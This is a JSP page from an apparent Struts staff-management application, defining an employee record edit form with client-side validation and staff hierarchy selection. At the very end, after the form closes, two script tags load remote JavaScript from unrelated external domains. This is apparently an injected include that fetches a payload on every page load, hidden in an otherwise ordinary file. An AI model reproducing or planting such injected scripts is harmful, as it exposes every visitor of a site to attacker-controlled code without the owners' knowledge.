<%
/*
 * @(#)EditStaffRecord.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */

/* ********************************Modify History***********************************************
 * Modify by  : Jicle.Wang
 * Modify date: 2006/06/12
 * Description: Validate if the gender be checked.
 * *********************************************************************************************
 * Modify by  : Jicle.Wang
 * Modify date: 2006/06/16
 * BugID      : 5421,5446
 * Description: 1,make mail and phone validate
                2,remove return button and add close button.
 * *********************************************************************************************
 * Modify by  : Jicle.Wang
 * Modify date: 2006/06/29
 * BugID      : 5426
 * Description: 1,Remove prompt '***must be numeric' if they are numeric when get most length.
 * *********************************************************************************************
 */

/**
  EditStaffRecord.jsp

  This class is reflecting business logic uses.

    @author           Wong Yam Lee
    @company          DCIVision Limited
    @creation date    04/08/2003
    @version          $Revision: 1.30.4.14 $
*/
%>
<%!
  String hasHF = "Y";
%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="java.lang.reflect.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.staff.*"%>
<%@ page import="com.dcivision.staff.bean.*"%>
<%@ page import="com.dcivision.staff.dao.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintStaffRecordForm" scope="request" class="com.dcivision.staff.web.MaintStaffRecordForm"/>

<script language="Javascript">
<!--
<%
  final int MAX_LVL = Integer.parseInt(SystemParameterFactory.getSystemParameter(SystemParameterConstant.STAFF_HIERARCHY_LEVEL));
  // store each level of staff hierarchy in an array
  for (int i=1; i<=MAX_LVL; ++i) {
    List list = (List)request.getAttribute("staffList" + i);
    out.println("var level" + i + " = new Array(" + list.size() + ");");
    for (int j=0; j<list.size(); j++) {
      StaffHierarchy tmpObj = (StaffHierarchy)list.get(j);
      out.println("level" + i + "[" + j + "] = new Array('" + tmpObj.getParentID() + "', '" + tmpObj.getID() + "', '" + TextUtility.replaceString(tmpObj.getName(),"'","\\'") + "');");
    }
  }
%>
function changeLevel(lvl, elm) {
  var targetSelect = eval("elm.form.level" + (lvl + 1) + "ID");
  var keyVal = elm.options[elm.selectedIndex].value;
  if (targetSelect) {
    targetSelect.length = 1;
    var tmpAry = eval("level" + (lvl + 1));
    for (var i = 0; i < tmpAry.length; i++) {
      if (tmpAry[i][0] == keyVal) {
          targetSelect.options[targetSelect.length] = new Option(tmpAry[i][2], tmpAry[i][1], false, false);
      }
    }
    changeLevel(lvl + 1, targetSelect);
  }
}

function autoFillFullName(frm) {
//  if (!fullNameHasModified) {
    frm.fullName.value = frm.firstName.value + " " + frm.lastName.value;
//  }
}

var fullNameHasModified = false;

function changeMailAddress(elm) {
  if (elm.checked) {
    elm.form.mailAddress.value = elm.form.rentalAddress.value;
    elm.form.diffAddress.value = true ;
  } else {
    elm.form.diffAddress.value = false ;
  }
}

function autoCopyAddress(copy) {
  if (copy.form.cTick.checked) {
    copy.form.mailAddress.value = copy.form.rentalAddress.value;
  }
}

// For selecting dms folder
function popupHierarchySelectionPanel() {
  var frm;
  for (var i = 0; i < document.forms.length; i++) {
    if (document.forms[i].name != "") {
      frm = document.forms[i];
      break;
    }
  }

  parentID = frm.parentID.value;
  levelNo =frm.levelNo.value;
  url = "<%= request.getContextPath() %>" + "/staff/PopupSelectStaffHierarchyRecord.do?parentID="+parentID+"&levelNo="+levelNo;
  var name = "DCIVisionPopupStaffHierarchySelectPanel";
  var popW = "900";
  var popH = "465";
  var feature = "scrollbars=yes,resizable=yes";

  return OpenCenteredPopup(url, name, popW, popH, feature);
}

function compareDateValue(dateObj, ignoreTime) {
  dateFormat = '<%=SystemParameterFactory.getSystemParameter(SystemParameterConstant.DB_DATETIME_FORMAT)%>';
  yearStart = dateFormat.indexOf("y");
  yearEnd = dateFormat.lastIndexOf("y");
  monthStart = dateFormat.indexOf("M");
  monthEnd = dateFormat.lastIndexOf("M");
  dayStart = dateFormat.indexOf("d");
  dayEnd = dateFormat.lastIndexOf("d");
  hourStart = dateFormat.indexOf("H");
  hourEnd = dateFormat.lastIndexOf("H");
  minStart = dateFormat.indexOf("m");
  minEnd = dateFormat.lastIndexOf("m");
  secStart = dateFormat.indexOf("s");
  secEnd = dateFormat.lastIndexOf("s");

  if (yearStart==-1 || yearEnd==-1 || monthStart==-1 || monthEnd==-1 || dayStart==-1 || dayEnd==-1
      || hourStart==-1 || hourEnd==-1 || minStart==-1 || minEnd==-1 || secStart==-1 || secEnd==-1) {
    alert("<bean:message key='common.message.invalid_date_format'/>");
  }

  jsDate = null;
  if (dateObj!=null && dateObj!='') {
    year1 = dateObj.substring(yearStart, yearEnd+1);
    month1 = dateObj.substring(monthStart, monthEnd+1);
    day1 = dateObj.substring(dayStart, dayEnd+1);
    hour1 = dateObj.substring(hourStart, hourEnd+1);
    min1 = dateObj.substring(minStart, minEnd+1);
    sec1 = dateObj.substring(secStart, secEnd+1);
    if (ignoreTime) {
      jsDate = new Date(year1, month1-1, day1);
    } else {
      jsDate = new Date(year1, month1-1, day1, hour1, min1, sec1);
    }
  }

  var nowDate = new Date();
  if (jsDate-nowDate > 0) {
    return -1;
  } else if (jsDate-nowDate<0 || jsDate-jsDate2==0) {
    return 1;
  } else {
    return 0;
  }
}

function CustOpSave(){
  var errorMessage = "<bean:message key='errors.contain_unrightful_char'/>";
  var invalidChars = "<%=TextUtility.escapeJSString(SystemParameterFactory.getSystemParameter(SystemParameterConstant.INVALID_CHARACTER))%>";
  if (!validateSpecialChar(window.document.maintStaffRecordForm.fullName, invalidChars, "<bean:message key='staff.label.full_name'/> " + errorMessage)){
    return (false);
  }
  if (!validateSpecialChar(window.document.maintStaffRecordForm.firstNameEng, invalidChars, "<bean:message key='staff.label.first_name_eng'/> " + errorMessage)){
    return (false);
  }
  if (!validateSpecialChar(window.document.maintStaffRecordForm.lastNameEng, invalidChars, "<bean:message key='staff.label.last_name_eng'/> " + errorMessage)){
    return (false);
  }
  if (!validateSpecialChar(window.document.maintStaffRecordForm.staffCode, invalidChars, "<bean:message key='staff.label.staff_code'/> " + errorMessage)){
    return (false);
  }
  if (compareDateValue(window.document.maintStaffRecordForm.birthDate.value,true) < 1)
  {
    alert("<bean:message key='errors.staff.birthdate'/>");
    return false;
  }
  /*
   *	Update Code Start
   *	Author				Jim.Zhou
   *	Date					2006/04/17
   *	Bug						5068
   */
    /* Jicle.Wang 2006/06/12 Start */
  if(!window.document.maintStaffRecordForm.gender[0].checked && !window.document.maintStaffRecordForm.gender[1].checked){
   alert("<bean:message key='errors.required' arg0='Gender'/>");
   window.document.maintStaffRecordForm.gender[0].focus();
   return false;
  }
   /* Jicle.Wang 2006/06/12 End   */
  if (typeof ValidateForm == "function" && !ValidateForm(frm)) {
    return(false);
  }
  if (!addonsValidate()){
    return false;
  }
  /*
   *	Update Code End
   */
  return OpSave(window.document.maintStaffRecordForm);
}

/*
 *	Update Code Start
 *	Author				Jim.Zhou
 *	Date					2006/04/17
 *	Bug						5068
 */
function addonsValidate(){
    /* Jicle.Wang 5426 2006/06/29 Start */
    //var patrn=/^[0-9]{1,20}$/;
  var patrn=/^[0-9]{1,40}$/;
  /* Jicle.Wang 5426 2006/06/29 End   */
  var msg="";
  var focusIt="";
  if (document.maintStaffRecordForm.IDNo.value!="" && !patrn.exec(document.maintStaffRecordForm.IDNo.value)){
    msg+="ID No";
    focusIt="ID";
  }
  if ((document.maintStaffRecordForm.areaCode.value!="" && !patrn.exec(document.maintStaffRecordForm.areaCode.value)) || (document.maintStaffRecordForm.phoneNo.value!="" && !patrn.exec(document.maintStaffRecordForm.phoneNo.value)) || (document.maintStaffRecordForm.extension.value!="" && !patrn.exec(document.maintStaffRecordForm.extension.value))){
    if (msg!=""){
      msg+=" , Tel";
    } else {
      msg+="Tel";
      focusIt="Tel";
    }
  }
  if (document.maintStaffRecordForm.mobileNo.value!="" && !patrn.exec(document.maintStaffRecordForm.mobileNo.value)){
    if (msg!=""){
      msg+=" , Mobile";
    } else {
      msg+="Mobile";
      focusIt="Mobile";
    }
  }
  if (document.maintStaffRecordForm.faxNo.value!="" && !patrn.exec(document.maintStaffRecordForm.faxNo.value)){
    if (msg!=""){
      msg+=" , Fax";
    } else {
      msg+="Fax";
      focusIt="Fax"
    }
  }
  if (document.maintStaffRecordForm.pagerNo.value!="" && !patrn.exec(document.maintStaffRecordForm.pagerNo.value)){
    if (msg!=""){
      msg+=" , Pager";
    } else {
      msg+="Pager";
      focusIt="Pager";
    }
  }
  if (msg!=""){
    alert("<bean:message key='errors.staff.number_validate' arg0='"+msg+"' />");
     /* Jicle.Wang 5426 2006/06/29 Start */
    //if (focusIt="ID"){
    //	document.maintStaffRecordForm.IDNo.focus();
    //} else if (focusIt="Tel"){
    //	document.maintStaffRecordForm.areaCode.focus();
    //} else if (focusIt="Mobile"){
    //	document.maintStaffRecordForm.mobileNo.focus();
    //} else if (focusIt="Fax"){
    //	document.maintStaffRecordForm.faxNo.focus();
    //} else if (focusIt="Pager"){
    //	document.maintStaffRecordForm.pagerNo.focus();
    //}
    if (focusIt == "ID"){
      document.maintStaffRecordForm.IDNo.focus();
    } else if (focusIt == "Tel"){
      document.maintStaffRecordForm.areaCode.focus();
    } else if (focusIt == "Mobile"){
      document.maintStaffRecordForm.mobileNo.focus();
    } else if (focusIt == "Fax"){
      document.maintStaffRecordForm.faxNo.focus();
    } else if (focusIt == "Pager"){
      document.maintStaffRecordForm.pagerNo.focus();
    }
    /* Jicle.Wang 5426 2006/06/29 End   */
    return false;
  }
  return true;
}
/*
 *	Update Code End
 */

function CustOpSaveAndNew(){
  var errorMessage = "<bean:message key='errors.contain_unrightful_char'/>";
  var invalidChars = "<%=TextUtility.escapeJSString(SystemParameterFactory.getSystemParameter(SystemParameterConstant.INVALID_CHARACTER))%>";
  if (!validateSpecialChar(window.document.maintStaffRecordForm.fullName, invalidChars, "<bean:message key='staff.label.full_name'/> " + errorMessage)){
    return (false);
  }
  if (!validateSpecialChar(window.document.maintStaffRecordForm.firstNameEng, invalidChars, "<bean:message key='staff.label.first_name_eng'/> " + errorMessage)){
    return (false);
  }
  if (!validateSpecialChar(window.document.maintStaffRecordForm.lastNameEng, invalidChars, "<bean:message key='staff.label.last_name_eng'/> " + errorMessage)){
    return (false);
  }
  if (!validateSpecialChar(window.document.maintStaffRecordForm.staffCode, invalidChars, "<bean:message key='staff.label.staff_code'/> " + errorMessage)){
    return (false);
  }
  if (compareDateValue(window.document.maintStaffRecordForm.birthDate.value,true) < 1)
  {
    alert("<bean:message key='errors.staff.birthdate'/>");
    return false;
  }
  /*
   *	Update Code Start
   *	Author				Jim.Zhou
   *	Date					2006/04/17
   *	Bug						5068
   */
  if (typeof ValidateForm == "function" && !ValidateForm(frm)) {
    return(false);
  }
     /* Jicle.Wang 2006/06/12 Start */
  if(!window.document.maintStaffRecordForm.gender[0].checked && !window.document.maintStaffRecordForm.gender[1].checked){
   alert("<bean:message key='errors.required' arg0='Gender'/>");
   window.document.maintStaffRecordForm.gender[0].focus();
   return false;
  }
   /* Jicle.Wang 2006/06/12 End   */

  if (!addonsValidate()){
    return false;
  }
  /*
   *	Update Code End
   */
  return OpSaveAndNew(window.document.maintStaffRecordForm);
}

function confirmDeleteRecord(frm) {
  if (!confirm(MSG_CONFIRM_DELETE_RECORD)) {
    return(false);
  }

  if (!frm) {
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
        break;
      }
    }
  }
  if (confirm("<bean:message key='common.message.confirm_delete_related_users'/>")) {
    frm.deleteUserRecord.value = "true";
  }else {
    frm.deleteUserRecord.value = "false";
  }
  frm.opMode.value = OP_MODE_DELETE;
  frm.navMode.value = "";
  return OpSubmit(frm);
}

function parentRefresh(targetURL) {
  if (window.name == "DCIVisionPopupStaffRecordPanel" && window.opener) {
    if (targetURL != null && targetURL != "" && targetURL != "null") {
      window.opener.location.href = targetURL;
    } else {
      window.opener.refreshPage();
    }
  }
}

<%
if (GlobalConstant.FALSE.equals(hasHF)) {
  String parentTargetURL = "";
  if (GlobalConstant.OP_MODE_DELETE.equals(maintStaffRecordForm.getOpMode())
      || GlobalConstant.OP_MODE_UPDATE.equals(maintStaffRecordForm.getOpMode())) {
    if ("true".equals(maintStaffRecordForm.getDeleteUserRecord())) {
      parentTargetURL = request.getContextPath() + "/user/ListUserRecord.do";
    }
    %>
    parentRefresh("<%=parentTargetURL%>");
	window.close();
    <%
  }
}
%>

 /* Jicle.Wang 5421 2006/06/16 Start */
 //only can input digit , "-",backspace,left and right.
function CheckNo(){
  var str = "";
  var code = window.event.keyCode;
  //bill add "(code>=9&&code<=20)||code==32" for EIP-395
  //"(code>=9&&code<=20)||code==32" key code is Tab,Enter,Shift,Ctrl,Alt,CapsLock,EspasQ Ascll value
  if(!((code>=48&&code<=57)||(code>=96&&code<=105)||code==37||code==39||code==8||code==46||(code>=9&&code<=20)||code==32))
  {
    alert("<bean:message key='errors.required' arg0='Nubmer'/>");
    return false;
  }
  return true;
}

function SaveNew(){
  var email= document.maintStaffRecordForm.email.value;
  if(CheckEamil(email)){
    if(CustOpSaveAndNew()){
      return true;
      }
      return false;
    }
  document.maintStaffRecordForm.email.focus();
  return false;
}

function Save(){
  var email= document.maintStaffRecordForm.email.value;
  if(CheckEamil(email)){
    if(CustOpSave()){
      return true;
    }

    return false;
  }
  document.maintStaffRecordForm.email.focus();
  return false;
}


function CheckEamil(str){
  if(str==''){
    return true;
    }
  var emailPat= /^\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*$/;
  if(!emailPat.exec(str)){
      alert("<bean:message key='errors.email' arg0='Email'/>");
      return false;
    }
  return true;
}
 /* Jicle.Wang 5421 2006/06/16 End   */
-->
</script>

<%
  Connection conn =  (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  StaffHierarchyDAObject staffHierarchyDAObject = new StaffHierarchyDAObject(sessionContainer,conn);

%>


<html:form action="staff/MaintStaffRecord" styleClass="form-style-2">
<html:javascript formName="maintStaffRecordForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

   String[][] STATUS_MAP = { {"staff.label.status_A", "A"},
                             {"staff.label.status_T", "T"},
                             {"staff.label.status_R", "R"},
                             {"staff.label.status_E", "E"}
                           };

   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);
   
   String returnURL="";
   if(request.getParameter("SHOW_HEADER_FOOTER") != null){
     hasHF = (String)request.getParameter("SHOW_HEADER_FOOTER");
   }else{
     hasHF="Y";
   } 
   if(!hasHF.equals("N")){
     if (GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)){
       returnURL="ListStaffRecord.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN+"&parentID=0&levelNo=1";
     } else {
       returnURL="ListStaffRecord.do?opMode="+GlobalConstant.OP_MODE_LIST_RETAIN+"&parentID="+maintStaffRecordForm.getParentID()+"&levelNo="+maintStaffRecordForm.getlevelNo();
     }
   }
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/%>

<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<html:hidden property='parentID'/>
<html:hidden property='levelNo'/>
<html:hidden property='deleteUserRecord'/>

<!-- Page Title Section -->
<!--<layout:titleFormat>
  
  
</layout:titleFormat>-->
<layout:tabContainer id="tab1">
  <layout:returnButton className="but-standard" returnURL="<%=returnURL%>"/>
  <layout:tabBar styleClass="tabBar_no_button">
    <layout:tabPane id="basicTab" title="common.label.tab_basic" selected="true" visibility="false"/>
  </layout:tabBar>
  <div id="basicTab" class="tabContent">
  <table width="100%">
  <!-- Section Header -->
  <layout:sectionHeader name="staff.label.personnel_info"/>
  <tr>
    <td class="formLabelSmallMan"><bean:message key='staff.label.first_name'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:text property='firstName' size='20' maxlength='99' onkeyup='autoFillFullName(this.form)'/></td>
  </tr>
  <tr>
    <td class="formLabelSmallMan"><bean:message key='staff.label.last_name'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:text property='lastName' size='20' maxlength='99' onkeyup='autoFillFullName(this.form)'/></td>
  </tr>
  <tr>
    <td class="formLabelSmallMan"><bean:message key='staff.label.full_name'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:text property='fullName' size='20' maxlength='200' onchange='fullNameHasModified=(this.value==\'\'?false:true)'/></td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='staff.label.first_name_eng'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:text property='firstNameEng' size='20' maxlength='200'/></td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='staff.label.last_name_eng'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:text property='lastNameEng' size='20' maxlength='200'/></td>
  </tr>
  <tr>
    <td class="formLabelSmallMan"><bean:message key='staff.label.gender'/>:&nbsp;</td>
    <td class="formFieldSmall">
      <html:radio property='gender' value='M'><bean:message key='staff.label.gender_male'/></html:radio>
      <html:radio property='gender' value='F'><bean:message key='staff.label.gender_female'/></html:radio>
    </td>
  </tr>
  <tr>
    <td class="formLabelSmallMan"><bean:message key='staff.label.salutation'/>:&nbsp;</td>
    <td class="formFieldSmall">
      <html:select property="salutationID">
        <html:options dbListName='salutationList'/>
      </html:select>
    </td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='staff.label.id_no'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:text property='IDNo' size='20' maxlength='20'/></td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='staff.label.birth_date'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:datepicker property='birthDate'/></td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='staff.label.phone_no'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:text property='areaCode' size='2' maxlength='10' onkeydown="return CheckNo();"/> - <html:text property='phoneNo' size='20' maxlength='30' onkeydown="return CheckNo()"/> - <html:text property='extension' size='2' maxlength='10' onkeydown="return CheckNo()"/></td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='staff.label.mobile_no'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:text property='mobileNo' size='20' maxlength='15' onkeydown="return CheckNo();"/></td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='staff.label.fax_no'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:text property='faxNo' size='20' maxlength='25' onkeydown="return CheckNo();"/></td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='staff.label.pager_no'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:text property='pagerNo' size='20' maxlength='30'/></td>
  </tr>
  <tr>
    <td class="formLabelSmall" valign="top"><bean:message key='staff.label.rental_address'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:textarea property="rentalAddress" cols='50' rows='4' textlimit="200" onkeyup="autoCopyAddress(this)"/></td>
  </tr>
  <tr>
    <input type="hidden" name="diffAddress" value="true">
    <td class="formLabelSmall" valign="top"><bean:message key='staff.label.mail_address'/>:&nbsp;</td>
    <td class="formFieldSmall" valign="top">
      <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
      <input type="checkbox" name="cTick" value="Y" onclick="changeMailAddress(this)" checked><bean:message key='staff.label.same_as_rental_address'/><br>
      <%}%>
      <html:textarea property="mailAddress" cols='50' rows='4' textlimit="200" onfocus="if (this.form.diffAddress.value=='true') {this.blur(); }" /></td>
      <script language="javascript">
      <!--
       <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
        var rentalAdr = document.getElementById("rentalAddress");
        var mailAdr = document.getElementById("mailAddress");
        if (rentalAdr.value == mailAdr.value){
          document.maintStaffRecordForm.cTick.checked = true;
          document.maintStaffRecordForm.diffAddress.value = true;
        } else {
          document.maintStaffRecordForm.cTick.checked = false;
          document.maintStaffRecordForm.diffAddress.value = false;
        }
        <%}%>
      -->
      </script>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='staff.label.passport_no'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:text property='passportNo' size='20' maxlength='30'/></td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='staff.label.issue_country'/>:&nbsp;</td>
    <td class="formFieldSmall">
      <html:select property="issueCountryID">
        <html:options dbListName='countryList'/>
      </html:select>
    </td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='staff.label.spoken_language'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:text property='spokenLanguage' size='20' maxlength='200'/></td>
  </tr>
  <tr>
    <td class="formLabelSmall" valign="top"><bean:message key='staff.label.expertise'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:textarea property="expertise" cols='50' rows='3' textlimit="200"/></td>
  </tr>
  <tr>
    <td colspan="2"><html:img src='LayoutSpacer.gif' width='1' height='20'/></td>
  </tr>

  <!-- Section Header -->
  <tr>
    <layout:sectionHeader name="staff.label.employment_info" mandatory='false'/>
  </tr>
  <tr>
    <td class="formLabelSmallMan"><bean:message key='staff.label.staff_code'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:text property='staffCode' size='20' maxlength='20'/></td>
  </tr>
  <tr>
    <td class="formLabelSmallMan"><bean:message key='staff.label.status'/>:&nbsp;</td>
    <td class="formFieldSmall">
      <html:select property="status">
        <html:options stringArray='<%=STATUS_MAP%>' hasSelect='false'/>
      </html:select></td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='staff.label.title'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:text property='title' size='40' maxlength='200'/></td>
  </tr>
<%
  String prevID = "0";
  int leveID = 0;
  String parentID = "0";
  String lastName = "";
  for (int i=1; i<=MAX_LVL; ++i) {  %>
    <tr>
      <td class="formLabelSmall"><bean:message key='<%="staff.label.hierarchy_level_" + i%>'/>:&nbsp;</td>
      <td class="formFieldSmall">
        <html:select property='<%="level" + i + "ID"%>' onchange='<%="changeLevel(" + i + ",this);"%>' >
          <html:options dbListName="staffHierarchyList" listArg1="<%=prevID%>"/>
        </html:select>
      <!--
    <html:hidden property='<%="level" + i + "ID"%>' /><span id = <%="span_level" + i + "Name"%> >
    <%
    Object lvlVal = (Object)"";
    try {
      // get current level id
      Class cls = maintStaffRecordForm.getClass();
      Method getterMtd = cls.getMethod("getLevel" + i + "ID", null);
      lvlVal = getterMtd.invoke(maintStaffRecordForm, null);
      if ( Utility.isEmpty(lvlVal.toString()) ) {
        lvlVal = "-1";
      }
    } catch (Exception e) {
      lvlVal = "-1";
    }
    prevID = lvlVal.toString();
    if(!Utility.isEmpty(prevID) && !"-1".equals(prevID)){
        StaffHierarchy staffHierarchy = (StaffHierarchy)staffHierarchyDAObject.getObjectByID(TextUtility.parseIntegerObj(prevID));
        if(staffHierarchy != null){
        %>
        <%out.println(staffHierarchy.getName());%>
      <%
      }
      leveID = i;
      parentID = ""+staffHierarchy.getID();
      lastName = staffHierarchy.getName();
    }

    %>
</span>			-->
      </td>
    </tr>
<%
  }
%>
<script language ="javascript">
    var frm;
    for (var i = 0; i < document.forms.length; i++) {
      if (document.forms[i].name != "") {
        frm = document.forms[i];
        break;
      }
    }
  frm.parentID.value = '<%=parentID%>';
  frm.levelNo.value = '<%=leveID+1%>';
</script>
<%if(!GlobalConstant.NAV_MODE_VIEW.equals(maintStaffRecordForm.getNavMode())){%>
  <tr>
    <td class="formLabelSmall"><bean:message key='staff.label.select_staff_hierarchy'/>:&nbsp;</td>
    <td class="formFieldSmall"><a  href="#" onclick="return(popupHierarchySelectionPanel())"><bean:message key='staff.label.select_staff_hierarchy'/></a></td>
  </tr>
<%}%>

  <tr>
    <td class="formLabelSmall"><bean:message key='staff.label.report_to'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:staffpicker property='reportToStaffRecordID' /></td>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='staff.label.alternative_contact_staff'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:staffpicker property='alternativeContactStaffRecordID'/>
  </tr>
  <tr>
    <td class="formLabelSmall"><bean:message key='staff.label.email'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:text property='email' size='20' maxlength='200'/></td>
  </tr>
  <tr>
    <td class="formLabelSmall" valign="top"><bean:message key='staff.label.remarks'/>:&nbsp;</td>
    <td class="formFieldSmall"><html:textarea property="remarks" cols='50' rows='2' textlimit="200"/></td>
  </tr>

  <tr>
    <td colspan="2"><layout:auditTrail/></td>
  </tr>
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif" width="1" height="10"/></td>
  </tr>
  </table>
  </div>
  </layout:tabContainer>
  
  <div id="bottomButtonArea">
    <div id="buttonSection">
    <!-- The Buttons for Actions Handling -->
    <%
      String hasHFHtml = "";

      pageContext.setAttribute("hasHFHtml", hasHFHtml);

      if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)) {%>
      <html:standardButton label="common.label.save" onClick="return Save();"/>
      <%if(!hasHF.equals("N")){%>
        <html:standardButton label="common.label.more" onClick="return SaveNew();"/>
      <%}%>

    <%} else if (!GlobalConstant.OP_MODE_DELETE.equals(maintStaffRecordForm.getOpMode())) {

        if (GlobalConstant.FALSE.equals(hasHF)) {
          hasHFHtml = "&SHOW_HEADER_FOOTER=" + hasHF;
        }

    %>

      <html:permissionButton label="common.label.edit" right="E" link="MaintStaffRecord.do?navMode=E&ID=${maintStaffRecordForm.ID}&levelNo=${maintStaffRecordForm.levelNo}&parentID=${maintStaffRecordForm.parentID}${hasHFHtml}"/>
    <%}%>

    <%if (GlobalConstant.NAV_MODE_EDIT.equals(ACTION_MODE)) {%>
      <html:permissionButton label="common.label.delete" right="D" onClick="return confirmDeleteRecord();"/>
    <%}

      if(hasHF.equals("N")) {
    %>
      <html:standardButton label="common.label.close" onClick="window.close();"/>
    <% } %>
    </div>
   </div>

</html:form>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>